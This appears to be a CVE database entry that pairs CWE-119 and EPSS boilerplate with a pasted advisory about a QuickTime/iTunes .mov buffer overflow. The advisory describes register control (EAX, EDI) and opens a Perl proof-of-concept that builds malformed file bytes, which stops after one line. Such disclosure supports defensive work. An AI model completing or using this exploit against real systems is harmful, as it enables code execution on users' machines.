CVE Descriptions

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

QuickTime contains a rich set of developer APIs for handling almost any audio, video and media task. Easily make your application multimedia-enabled with QuickTime." ======= 2) Bug ======= Quicktime & itunes fails to handle long arguments on a .mov file. Quicktime is compiled with the /GS cookie on , so the bug get handled with an exit code : c0000409 but ... Itunes doesn't seems to be compiled with the /GS flag, so we get some code execution possible via Itunes. The PoC give's us full control over EAX & EDI Itunes call unsafely the Quicktime function to play the .mov, so we can trigger a possible code execution via this unsafe call to quicktime héhéhé :) The only problem, is the lengh of the buffer overflowed :( erf ... 49 bytes, less the 8 bytes controlling the EDI & EAX registers so 41. i've tryed to find a way to fill some buffer in the .mov to get some code exec working on this poc, but out of luck, i guess someone will maybe be able to do some magic tricks :) ================== 3)Proof of concept ================== #!/usr/bin/perl use strict; my $movfile = "\x00\x00\x00\x7d\x6d\x6f\x6f\x76\x00\x00\x00\x75\x72\x6d\x72\x61\x00\x00\x00\x6d".
